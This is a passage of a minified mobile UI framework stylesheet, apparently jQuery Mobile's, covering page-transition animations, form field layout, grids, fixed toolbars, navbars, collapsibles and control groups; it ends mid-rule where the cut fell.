@-webkit-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @-moz-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } .fade.out { opacity: 0; -webkit-animation-duration: 125ms; -webkit-animation-name: fadeout; -moz-animation-duration: 125ms; -moz-animation-name: fadeout; animation-duration: 125ms; animation-name: fadeout; } .fade.in { opacity: 1; -webkit-animation-duration: 225ms; -webkit-animation-name: fadein; -moz-animation-duration: 225ms; -moz-animation-name: fadein; animation-duration: 225ms; animation-name: fadein; } .pop { -webkit-transform-origin: 50% 50%; -moz-transform-origin: 50% 50%; transform-origin: 50% 50%; } .pop.in { -webkit-transform: scale(1); -webkit-animation-name: popin; -webkit-animation-duration: 350ms; -moz-transform: scale(1); -moz-animation-name: popin; -moz-animation-duration: 350ms; transform: scale(1); animation-name: popin; animation-duration: 350ms; opacity: 1; } .pop.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; opacity: 0; } .pop.in.reverse { -webkit-animation-name: fadein; -moz-animation-name: fadein; animation-name: fadein; } .pop.out.reverse { -webkit-transform: scale(.8); -webkit-animation-name: popout; -moz-transform: scale(.8); -moz-animation-name: popout; transform: scale(.8); animation-name: popout; } @-webkit-keyframes popin { from { -webkit-transform: scale(.8); opacity: 0; } to { -webkit-transform: scale(1); opacity: 1; } } @-moz-keyframes popin { from { -moz-transform: scale(.8); opacity: 0; } to { -moz-transform: scale(1); opacity: 1; } } @keyframes popin { from { transform: scale(.8); opacity: 0; } to { transform: scale(1); opacity: 1; } } @-webkit-keyframes popout { from { -webkit-transform: scale(1); opacity: 1; } to { -webkit-transform: scale(.8); opacity: 0; } } @-moz-keyframes popout { from { -moz-transform: scale(1); opacity: 1; } to { -moz-transform: scale(.8); opacity: 0; } } @keyframes popout { from { transform: scale(1); opacity: 1; } to { transform: scale(.8); opacity: 0; } } /* keyframes for slidein from sides */ @-webkit-keyframes slideinfromright { from { -webkit-transform: translate3d(100%,0,0); } to { -webkit-transform: translate3d(0,0,0); } } @-moz-keyframes slideinfromright { from { -moz-transform: translateX(100%); } to { -moz-transform: translateX(0); } } @keyframes slideinfromright { from { transform: translateX(100%); } to { transform: translateX(0); } } @-webkit-keyframes slideinfromleft { from { -webkit-transform: translate3d(-100%,0,0); } to { -webkit-transform: translate3d(0,0,0); } } @-moz-keyframes slideinfromleft { from { -moz-transform: translateX(-100%); } to { -moz-transform: translateX(0); } } @keyframes slideinfromleft { from { transform: translateX(-100%); } to { transform: translateX(0); } } /* keyframes for slideout to sides */ @-webkit-keyframes slideouttoleft { from { -webkit-transform: translate3d(0,0,0); } to { -webkit-transform: translate3d(-100%,0,0); } } @-moz-keyframes slideouttoleft { from { -moz-transform: translateX(0); } to { -moz-transform: translateX(-100%); } } @keyframes slideouttoleft { from { transform: translateX(0); } to { transform: translateX(-100%); } } @-webkit-keyframes slideouttoright { from { -webkit-transform: translate3d(0,0,0); } to { -webkit-transform: translate3d(100%,0,0); } } @-moz-keyframes slideouttoright { from { -moz-transform: translateX(0); } to { -moz-transform: translateX(100%); } } @keyframes slideouttoright { from { transform: translateX(0); } to { transform: translateX(100%); } } .slide.out, .slide.in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 350ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 350ms; animation-timing-function: ease-out; animation-duration: 350ms; } .slide.out { -webkit-transform: translate3d(-100%,0,0); -webkit-animation-name: slideouttoleft; -moz-transform: translateX(-100%); -moz-animation-name: slideouttoleft; transform: translateX(-100%); animation-name: slideouttoleft; } .slide.in { -webkit-transform: translate3d(0,0,0); -webkit-animation-name: slideinfromright; -moz-transform: translateX(0); -moz-animation-name: slideinfromright; transform: translateX(0); animation-name: slideinfromright; } .slide.out.reverse { -webkit-transform: translate3d(100%,0,0); -webkit-animation-name: slideouttoright; -moz-transform: translateX(100%); -moz-animation-name: slideouttoright; transform: translateX(100%); animation-name: slideouttoright; } .slide.in.reverse { -webkit-transform: translate3d(0,0,0); -webkit-animation-name: slideinfromleft; -moz-transform: translateX(0); -moz-animation-name: slideinfromleft; transform: translateX(0); animation-name: slideinfromleft; } .slidefade.out { -webkit-transform: translateX(-100%); -webkit-animation-name: slideouttoleft; -webkit-animation-duration: 225ms; -moz-transform: translateX(-100%); -moz-animation-name: slideouttoleft; -moz-animation-duration: 225ms; transform: translateX(-100%); animation-name: slideouttoleft; animation-duration: 225ms; } .slidefade.in { -webkit-transform: translateX(0); -webkit-animation-name: fadein; -webkit-animation-duration: 200ms; -moz-transform: translateX(0); -moz-animation-name: fadein; -moz-animation-duration: 200ms; transform: translateX(0); animation-name: fadein; animation-duration: 200ms; } .slidefade.out.reverse { -webkit-transform: translateX(100%); -webkit-animation-name: slideouttoright; -webkit-animation-duration: 200ms; -moz-transform: translateX(100%); -moz-animation-name: slideouttoright; -moz-animation-duration: 200ms; transform: translateX(100%); animation-name: slideouttoright; animation-duration: 200ms; } .slidefade.in.reverse { -webkit-transform: translateX(0); -webkit-animation-name: fadein; -webkit-animation-duration: 200ms; -moz-transform: translateX(0); -moz-animation-name: fadein; -moz-animation-duration: 200ms; transform: translateX(0); animation-name: fadein; animation-duration: 200ms; } /* slide down */ .slidedown.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; } .slidedown.in { -webkit-transform: translateY(0); -webkit-animation-name: slideinfromtop; -webkit-animation-duration: 250ms; -moz-transform: translateY(0); -moz-animation-name: slideinfromtop; -moz-animation-duration: 250ms; transform: translateY(0); animation-name: slideinfromtop; animation-duration: 250ms; } .slidedown.in.reverse { -webkit-animation-name: fadein; -webkit-animation-duration: 150ms; -moz-animation-name: fadein; -moz-animation-duration: 150ms; animation-name: fadein; animation-duration: 150ms; } .slidedown.out.reverse { -webkit-transform: translateY(-100%); -webkit-animation-name: slideouttotop; -webkit-animation-duration: 200ms; -moz-transform: translateY(-100%); -moz-animation-name: slideouttotop; -moz-animation-duration: 200ms; transform: translateY(-100%); animation-name: slideouttotop; animation-duration: 200ms; } @-webkit-keyframes slideinfromtop { from { -webkit-transform: translateY(-100%); } to { -webkit-transform: translateY(0); } } @-moz-keyframes slideinfromtop { from { -moz-transform: translateY(-100%); } to { -moz-transform: translateY(0); } } @keyframes slideinfromtop { from { transform: translateY(-100%); } to { transform: translateY(0); } } @-webkit-keyframes slideouttotop { from { -webkit-transform: translateY(0); } to { -webkit-transform: translateY(-100%); } } @-moz-keyframes slideouttotop { from { -moz-transform: translateY(0); } to { -moz-transform: translateY(-100%); } } @keyframes slideouttotop { from { transform: translateY(0); } to { transform: translateY(-100%); } } /* slide up */ .slideup.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; } .slideup.in { -webkit-transform: translateY(0); -webkit-animation-name: slideinfrombottom; -webkit-animation-duration: 250ms; -moz-transform: translateY(0); -moz-animation-name: slideinfrombottom; -moz-animation-duration: 250ms; transform: translateY(0); animation-name: slideinfrombottom; animation-duration: 250ms; } .slideup.in.reverse { -webkit-animation-name: fadein; -webkit-animation-duration: 150ms; -moz-animation-name: fadein; -moz-animation-duration: 150ms; animation-name: fadein; animation-duration: 150ms; } .slideup.out.reverse { -webkit-transform: translateY(100%); -webkit-animation-name: slideouttobottom; -webkit-animation-duration: 200ms; -moz-transform: translateY(100%); -moz-animation-name: slideouttobottom; -moz-animation-duration: 200ms; transform: translateY(100%); animation-name: slideouttobottom; animation-duration: 200ms; } @-webkit-keyframes slideinfrombottom { from { -webkit-transform: translateY(100%); } to { -webkit-transform: translateY(0); } } @-moz-keyframes slideinfrombottom { from { -moz-transform: translateY(100%); } to { -moz-transform: translateY(0); } } @keyframes slideinfrombottom { from { transform: translateY(100%); } to { transform: translateY(0); } } @-webkit-keyframes slideouttobottom { from { -webkit-transform: translateY(0); } to { -webkit-transform: translateY(100%); } } @-moz-keyframes slideouttobottom { from { -moz-transform: translateY(0); } to { -moz-transform: translateY(100%); } } @keyframes slideouttobottom { from { transform: translateY(0); } to { transform: translateY(100%); } } /* The properties in this rule are only necessary for the 'flip' transition. * We need specify the perspective to create a projection matrix. This will add * some depth as the element flips. The depth number represents the distance of * the viewer from the z-plane. According to the CSS3 spec, 1000 is a moderate * value. */ .viewport-flip { -webkit-perspective: 1000; -moz-perspective: 1000; perspective: 1000; position: absolute; } .flip { -webkit-backface-visibility: hidden; -webkit-transform: translateX(0); /* Needed to work around an iOS 3.1 bug that causes listview thumbs to disappear when -webkit-visibility:hidden is used. */ -moz-backface-visibility: hidden; -moz-transform: translateX(0); backface-visibility: hidden; transform: translateX(0); } .flip.out { -webkit-transform: rotateY(-90deg) scale(.9); -webkit-animation-name: flipouttoleft; -webkit-animation-duration: 175ms; -moz-transform: rotateY(-90deg) scale(.9); -moz-animation-name: flipouttoleft; -moz-animation-duration: 175ms; transform: rotateY(-90deg) scale(.9); animation-name: flipouttoleft; animation-duration: 175ms; } .flip.in { -webkit-animation-name: flipintoright; -webkit-animation-duration: 225ms; -moz-animation-name: flipintoright; -moz-animation-duration: 225ms; animation-name: flipintoright; animation-duration: 225ms; } .flip.out.reverse { -webkit-transform: rotateY(90deg) scale(.9); -webkit-animation-name: flipouttoright; -moz-transform: rotateY(90deg) scale(.9); -moz-animation-name: flipouttoright; transform: rotateY(90deg) scale(.9); animation-name: flipouttoright; } .flip.in.reverse { -webkit-animation-name: flipintoleft; -moz-animation-name: flipintoleft; animation-name: flipintoleft; } @-webkit-keyframes flipouttoleft { from { -webkit-transform: rotateY(0); } to { -webkit-transform: rotateY(-90deg) scale(.9); } } @-moz-keyframes flipouttoleft { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(-90deg) scale(.9); } } @keyframes flipouttoleft { from { transform: rotateY(0); } to { transform: rotateY(-90deg) scale(.9); } } @-webkit-keyframes flipouttoright { from { -webkit-transform: rotateY(0) ; } to { -webkit-transform: rotateY(90deg) scale(.9); } } @-moz-keyframes flipouttoright { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(90deg) scale(.9); } } @keyframes flipouttoright { from { transform: rotateY(0); } to { transform: rotateY(90deg) scale(.9); } } @-webkit-keyframes flipintoleft { from { -webkit-transform: rotateY(-90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoleft { from { -moz-transform: rotateY(-90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoleft { from { transform: rotateY(-90deg) scale(.9); } to { transform: rotateY(0); } } @-webkit-keyframes flipintoright { from { -webkit-transform: rotateY(90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoright { from { -moz-transform: rotateY(90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoright { from { transform: rotateY(90deg) scale(.9); } to { transform: rotateY(0); } } /* The properties in this rule are only necessary for the 'flip' transition. * We need specify the perspective to create a projection matrix. This will add * some depth as the element flips. The depth number represents the distance of * the viewer from the z-plane. According to the CSS3 spec, 1000 is a moderate * value. */ .viewport-turn { -webkit-perspective: 200px; -moz-perspective: 200px; -ms-perspective: 200px; perspective: 200px; position: absolute; } .turn { -webkit-backface-visibility: hidden; -webkit-transform: translateX(0); /* Needed to work around an iOS 3.1 bug that causes listview thumbs to disappear when -webkit-visibility:hidden is used. */ -webkit-transform-origin: 0; -moz-backface-visibility: hidden; -moz-transform: translateX(0); -moz-transform-origin: 0; backface-visibility :hidden; transform: translateX(0); transform-origin: 0; } .turn.out { -webkit-transform: rotateY(-90deg) scale(.9); -webkit-animation-name: flipouttoleft; -webkit-animation-duration: 125ms; -moz-transform: rotateY(-90deg) scale(.9); -moz-animation-name: flipouttoleft; -moz-animation-duration: 125ms; transform: rotateY(-90deg) scale(.9); animation-name: flipouttoleft; animation-duration: 125ms; } .turn.in { -webkit-animation-name: flipintoright; -webkit-animation-duration: 250ms; -moz-animation-name: flipintoright; -moz-animation-duration: 250ms; animation-name: flipintoright; animation-duration: 250ms; } .turn.out.reverse { -webkit-transform: rotateY(90deg) scale(.9); -webkit-animation-name: flipouttoright; -moz-transform: rotateY(90deg) scale(.9); -moz-animation-name: flipouttoright; transform: rotateY(90deg) scale(.9); animation-name: flipouttoright; } .turn.in.reverse { -webkit-animation-name: flipintoleft; -moz-animation-name: flipintoleft; animation-name: flipintoleft; } @-webkit-keyframes flipouttoleft { from { -webkit-transform: rotateY(0); } to { -webkit-transform: rotateY(-90deg) scale(.9); } } @-moz-keyframes flipouttoleft { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(-90deg) scale(.9); } } @keyframes flipouttoleft { from { transform: rotateY(0); } to { transform: rotateY(-90deg) scale(.9); } } @-webkit-keyframes flipouttoright { from { -webkit-transform: rotateY(0) ; } to { -webkit-transform: rotateY(90deg) scale(.9); } } @-moz-keyframes flipouttoright { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(90deg) scale(.9); } } @keyframes flipouttoright { from { transform: rotateY(0); } to { transform: rotateY(90deg) scale(.9); } } @-webkit-keyframes flipintoleft { from { -webkit-transform: rotateY(-90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoleft { from { -moz-transform: rotateY(-90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoleft { from { transform: rotateY(-90deg) scale(.9); } to { transform: rotateY(0); } } @-webkit-keyframes flipintoright { from { -webkit-transform: rotateY(90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoright { from { -moz-transform: rotateY(90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoright { from { transform: rotateY(90deg) scale(.9); } to { transform: rotateY(0); } } /* flow transition */ .flow { -webkit-transform-origin: 50% 30%; -webkit-box-shadow: 0 0 20px rgba(0,0,0,.4); -moz-transform-origin: 50% 30%; -moz-box-shadow: 0 0 20px rgba(0,0,0,.4); transform-origin: 50% 30%; box-shadow: 0 0 20px rgba(0,0,0,.4); } .ui-dialog.flow { -webkit-transform-origin: none; -webkit-box-shadow: none; -moz-transform-origin: none; -moz-box-shadow: none; transform-origin: none; box-shadow: none; } .flow.out { -webkit-transform: translateX(-100%) scale(.7); -webkit-animation-name: flowouttoleft; -webkit-animation-timing-function: ease; -webkit-animation-duration: 350ms; -moz-transform: translateX(-100%) scale(.7); -moz-animation-name: flowouttoleft; -moz-animation-timing-function: ease; -moz-animation-duration: 350ms; transform: translateX(-100%) scale(.7); animation-name: flowouttoleft; animation-timing-function: ease; animation-duration: 350ms; } .flow.in { -webkit-transform: translateX(0) scale(1); -webkit-animation-name: flowinfromright; -webkit-animation-timing-function: ease; -webkit-animation-duration: 350ms; -moz-transform: translateX(0) scale(1); -moz-animation-name: flowinfromright; -moz-animation-timing-function: ease; -moz-animation-duration: 350ms; transform: translateX(0) scale(1); animation-name: flowinfromright; animation-timing-function: ease; animation-duration: 350ms; } .flow.out.reverse { -webkit-transform: translateX(100%); -webkit-animation-name: flowouttoright; -moz-transform: translateX(100%); -moz-animation-name: flowouttoright; transform: translateX(100%); animation-name: flowouttoright; } .flow.in.reverse { -webkit-animation-name: flowinfromleft; -moz-animation-name: flowinfromleft; animation-name: flowinfromleft; } @-webkit-keyframes flowouttoleft { 0% { -webkit-transform: translateX(0) scale(1); } 60%, 70% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(-100%) scale(.7); } } @-moz-keyframes flowouttoleft { 0% { -moz-transform: translateX(0) scale(1); } 60%, 70% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(-100%) scale(.7); } } @keyframes flowouttoleft { 0% { transform: translateX(0) scale(1); } 60%, 70% { transform: translateX(0) scale(.7); } 100% { transform: translateX(-100%) scale(.7); } } @-webkit-keyframes flowouttoright { 0% { -webkit-transform: translateX(0) scale(1); } 60%, 70% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(100%) scale(.7); } } @-moz-keyframes flowouttoright { 0% { -moz-transform: translateX(0) scale(1); } 60%, 70% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(100%) scale(.7); } } @keyframes flowouttoright { 0% { transform: translateX(0) scale(1); } 60%, 70% { transform: translateX(0) scale(.7); } 100% { transform: translateX(100%) scale(.7); } } @-webkit-keyframes flowinfromleft { 0% { -webkit-transform: translateX(-100%) scale(.7); } 30%, 40% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(0) scale(1); } } @-moz-keyframes flowinfromleft { 0% { -moz-transform: translateX(-100%) scale(.7); } 30%, 40% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(0) scale(1); } } @keyframes flowinfromleft { 0% { transform: translateX(-100%) scale(.7); } 30%, 40% { transform: translateX(0) scale(.7); } 100% { transform: translateX(0) scale(1); } } @-webkit-keyframes flowinfromright { 0% { -webkit-transform: translateX(100%) scale(.7); } 30%, 40% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(0) scale(1); } } @-moz-keyframes flowinfromright { 0% { -moz-transform: translateX(100%) scale(.7); } 30%, 40% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(0) scale(1); } } @keyframes flowinfromright { 0% { transform: translateX(100%) scale(.7); } 30%, 40% { transform: translateX(0) scale(.7); } 100% { transform: translateX(0) scale(1); } } .ui-field-contain, .ui-mobile fieldset.ui-field-contain { display: block; position: relative; overflow: visible; clear: both; padding: .8em 0; } .ui-field-contain > label ~ [class*="ui-"], .ui-field-contain .ui-controlgroup-controls { margin: 0; } .ui-field-contain:last-child { border-bottom-width: 0; } @media (min-width: 28em) { .ui-field-contain, .ui-mobile fieldset.ui-field-contain { padding: 0; margin: 1em 0; border-bottom-width: 0; } .ui-field-contain:before, .ui-field-contain:after { content: ""; display: table; } .ui-field-contain:after { clear: both; } .ui-field-contain > label, .ui-field-contain .ui-controlgroup-label, .ui-field-contain > .ui-rangeslider > label { float: left; width: 20%; margin: .5em 2% 0 0; } .ui-popup .ui-field-contain > label, .ui-popup .ui-field-contain .ui-controlgroup-label, .ui-popup .ui-field-contain > .ui-rangeslider > label { float: none; width: auto; margin: 0 0 .4em; } .ui-field-contain > label ~ [class*="ui-"], .ui-field-contain .ui-controlgroup-controls { float: left; width: 78%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-hide-label > label ~ [class*="ui-"], .ui-hide-label .ui-controlgroup-controls, .ui-popup .ui-field-contain > label ~ [class*="ui-"], .ui-popup .ui-field-contain .ui-controlgroup-controls { float: none; width: 100%; } .ui-field-contain > label ~ .ui-btn-inline { width: auto; margin-right: .625em; } .ui-field-contain > label ~ .ui-btn-inline.ui-btn-icon-notext { width: 1.75em; } } /* content configurations. */ .ui-grid-a, .ui-grid-b, .ui-grid-c, .ui-grid-d, .ui-grid-solo { overflow: hidden; } .ui-block-a, .ui-block-b, .ui-block-c, .ui-block-d, .ui-block-e { margin: 0; padding: 0; border: 0; float: left; min-height: 1px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* force new row */ .ui-block-a { clear: left; } ul.ui-grid-a, ul.ui-grid-b, ul.ui-grid-c, ul.ui-grid-d, ul.ui-grid-solo, li.ui-block-a, li.ui-block-b, li.ui-block-c, li.ui-block-d, li.ui-block-e { margin-left: 0; margin-right: 0; padding: 0; list-style: none; } /* No margin in grids for 100% width button elements until we can use max-width: fill-available; */ [class*="ui-block-"] > button.ui-btn { margin-right: 0; margin-left: 0; } [class*="ui-block-"] > .ui-btn, [class*="ui-block-"] > .ui-select, [class*="ui-block-"] > .ui-checkbox, [class*="ui-block-"] > .ui-radio, [class*="ui-block-"] > button.ui-btn-inline, [class*="ui-block-"] > button.ui-btn-icon-notext, .ui-header [class*="ui-block-"] > button.ui-btn, .ui-footer [class*="ui-block-"] > button.ui-btn { margin-right: .3125em; margin-left: .3125em; } .ui-grid-a > .ui-block-a, .ui-grid-a > .ui-block-b { /* width: 49.95%; IE7 */ /* margin-right: -.5px; BB5 */ width: 50%; } .ui-grid-b > .ui-block-a, .ui-grid-b > .ui-block-b, .ui-grid-b > .ui-block-c { /* width: 33.25%; IE7 */ /* margin-right: -.5px; BB5 */ width: 33.333%; } .ui-grid-c > .ui-block-a, .ui-grid-c > .ui-block-b, .ui-grid-c > .ui-block-c, .ui-grid-c > .ui-block-d { /* width: 24.925%; IE7 */ /* margin-right: -.5px; BB5 */ width: 25%; } .ui-grid-d > .ui-block-a, .ui-grid-d > .ui-block-b, .ui-grid-d > .ui-block-c, .ui-grid-d > .ui-block-d, .ui-grid-d > .ui-block-e { /* width: 19.925%; IE7 */ width: 20%; } .ui-grid-solo > .ui-block-a { width: 100%; float: none; } /* preset breakpoint to switch to stacked grid styles below 35em (560px) */ @media (max-width: 35em) { .ui-responsive > .ui-block-a, .ui-responsive > .ui-block-b, .ui-responsive > .ui-block-c, .ui-responsive > .ui-block-d, .ui-responsive > .ui-block-e { width: 100%; float: none; } } /* fixed page header & footer configuration */ .ui-header-fixed, .ui-footer-fixed { left: 0; right: 0; width: 100%; position: fixed; z-index: 1000; } .ui-header-fixed { top: -1px; padding-top: 1px; } .ui-header-fixed.ui-fixed-hidden { top: 0; padding-top: 0; } .ui-header-fixed .ui-btn-left, .ui-header-fixed .ui-btn-right { margin-top: 1px; } .ui-header-fixed.ui-fixed-hidden .ui-btn-left, .ui-header-fixed.ui-fixed-hidden .ui-btn-right { margin-top: 0; } .ui-footer-fixed { bottom: -1px; padding-bottom: 1px; } .ui-footer-fixed.ui-fixed-hidden { bottom: 0; padding-bottom: 0; } .ui-header-fullscreen, .ui-footer-fullscreen { filter: Alpha(Opacity=90); opacity: .9; } /* updatePagePadding() will update the padding to actual height of header and footer. */ .ui-page-header-fixed { padding-top: 2.8125em; } .ui-page-footer-fixed { padding-bottom: 2.8125em; } .ui-page-header-fullscreen > .ui-content, .ui-page-footer-fullscreen > .ui-content { padding: 0; } .ui-fixed-hidden { position: absolute; } /* Tap toggle: hide external fixed footer. See issue #6604 */ .ui-footer-fixed.ui-fixed-hidden { display: none; } .ui-page .ui-footer-fixed.ui-fixed-hidden { display: block } .ui-page-header-fullscreen .ui-fixed-hidden, .ui-page-footer-fullscreen .ui-fixed-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-header-fixed .ui-btn, .ui-footer-fixed .ui-btn { z-index: 10; } /* workarounds for other widgets */ .ui-android-2x-fixed .ui-li-has-thumb { -webkit-transform: translate3d(0,0,0); } .ui-navbar { max-width: 100%; } .ui-navbar ul:before, .ui-navbar ul:after { content: ""; display: table; } .ui-navbar ul:after { clear: both; } .ui-navbar ul { list-style: none; margin: 0; padding: 0; position: relative; display: block; border: 0; max-width: 100%; overflow: visible; } .ui-navbar li .ui-btn { font-size: 12.5px; display: block; margin: 0; border-right-width: 0; } .ui-header .ui-navbar li button.ui-btn, .ui-footer .ui-navbar li button.ui-btn { margin: 0; width: 100%; } .ui-navbar .ui-btn:focus { z-index: 1; } /* fixes gaps caused by subpixel problem */ .ui-navbar li:last-child .ui-btn { margin-right: -4px; } .ui-navbar li:last-child .ui-btn:after { margin-right: 4px; } .ui-content .ui-navbar li:last-child .ui-btn, .ui-content .ui-navbar .ui-grid-duo .ui-block-b .ui-btn { border-right-width: 1px; margin-right: 0; } .ui-content .ui-navbar li:last-child .ui-btn:after, .ui-content .ui-navbar .ui-grid-duo .ui-block-b .ui-btn:after { margin-right: 0; } .ui-navbar .ui-grid-duo .ui-block-a:last-child .ui-btn { border-right-width: 1px; margin-right: -1px; } .ui-navbar .ui-grid-duo .ui-block-a:last-child .ui-btn:after { margin-right: 1px; } .ui-navbar .ui-grid-duo .ui-btn { border-top-width: 0; } .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 1px; } .ui-header .ui-navbar .ui-btn, .ui-footer .ui-navbar .ui-btn { border-top-width: 0; border-bottom-width: 0; } .ui-header .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-header .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 0; } .ui-header .ui-title ~ .ui-navbar .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-btn, .ui-header .ui-navbar .ui-grid-duo .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-btn, .ui-header .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-header .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 1px; } /* Hide the native input element */ .ui-input-btn input { position: absolute; top: 0; left: 0; width: 100%; height: 100%; padding: 0; border: 0; outline: 0; -webkit-border-radius: inherit; border-radius: inherit; -webkit-appearance: none; -moz-appearance: none; cursor: pointer; background: #fff; background: rgba(255,255,255,0); filter: Alpha(Opacity=0); opacity: .1; font-size: 1px; text-indent: -9999px; z-index: 2; } /* Fixes IE/WP filter alpha opacity bugs */ .ui-input-btn.ui-state-disabled input { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-collapsible { margin: 0 -1em; } .ui-collapsible-inset, .ui-collapsible-set { margin: .5em 0; } .ui-collapsible-heading { display: block; margin: 0; padding: 0; position: relative; } .ui-collapsible-heading .ui-btn { text-align: left; margin: 0; border-left-width: 0; border-right-width: 0; } .ui-collapsible-heading .ui-btn-icon-top, .ui-collapsible-heading .ui-btn-icon-bottom { text-align: center; } .ui-collapsible-inset .ui-collapsible-heading .ui-btn { border-right-width: 1px; border-left-width: 1px; } .ui-collapsible-collapsed + .ui-collapsible:not(.ui-collapsible-inset) > .ui-collapsible-heading .ui-btn { border-top-width: 0; } .ui-collapsible-set .ui-collapsible:not(.ui-collapsible-inset) .ui-collapsible-heading .ui-btn { border-top-width: 1px; } .ui-collapsible-heading-status { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-collapsible-content { display: block; margin: 0; padding: .5em 1em; } .ui-collapsible-themed-content .ui-collapsible-content { border-left-width: 0; border-right-width: 0; border-top-width: 0; border-bottom-width: 1px; border-style: solid; } .ui-collapsible-inset.ui-collapsible-themed-content .ui-collapsible-content { border-left-width: 1px; border-right-width: 1px; } .ui-collapsible-inset .ui-collapsible-content { margin: 0; } .ui-collapsible-content-collapsed { display: none; } .ui-collapsible-set > .ui-collapsible.ui-corner-all { -webkit-border-radius: 0; border-radius: 0; } .ui-collapsible-heading, .ui-collapsible-heading > .ui-btn { -webkit-border-radius: inherit; border-radius: inherit; } .ui-collapsible-set .ui-collapsible.ui-first-child { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-collapsible-content, .ui-collapsible-set .ui-collapsible.ui-last-child { -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-collapsible-themed-content:not(.ui-collapsible-collapsed) > .ui-collapsible-heading { -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; } .ui-collapsible-set .ui-collapsible { margin: -1px -1em 0; } .ui-collapsible-set .ui-collapsible-inset { margin: -1px 0 0; } .ui-collapsible-set .ui-collapsible.ui-first-child { margin-top: 0; } .ui-controlgroup, fieldset.ui-controlgroup { padding: 0; margin: .5em 0; } .ui-field-contain .ui-controlgroup, .ui-field-contain fieldset.ui-controlgroup { margin: 0; } .ui-mini .ui-controlgroup-label { font-size: 16px; } .ui-controlgroup.ui-mini .ui-btn-icon-notext, .ui-controlgroup .ui-mini.ui-btn-icon-notext { font-size: inherit; } .ui-controlgroup-controls .ui-btn, .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-controls .ui-radio, .ui-controlgroup-controls .ui-select { margin: 0; } .ui-controlgroup-controls .ui-btn:focus, .ui-controlgroup-controls .ui-btn.ui-focus { z-index: 1; } .ui-controlgroup-controls li { list-style: none; } .ui-controlgroup-horizontal .ui-controlgroup-controls { display: inline-block; vertical-align: middle; } .ui-controlgroup-horizontal .ui-controlgroup-controls:before, .ui-controlgroup-horizontal .ui-controlgroup-controls:after { content: ""; display: table; } .ui-controlgroup-horizontal .ui-controlgroup-controls:after { clear: both; } .ui-controlgroup-horizontal .ui-controlgroup-controls > .ui-btn, .ui-controlgroup-horizontal .ui-controlgroup-controls li > .ui-btn, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-radio, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-select { float: left; clear: none; } .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn, .ui-controlgroup-controls .ui-btn-icon-notext { width: auto; } .ui-controlgroup-horizontal 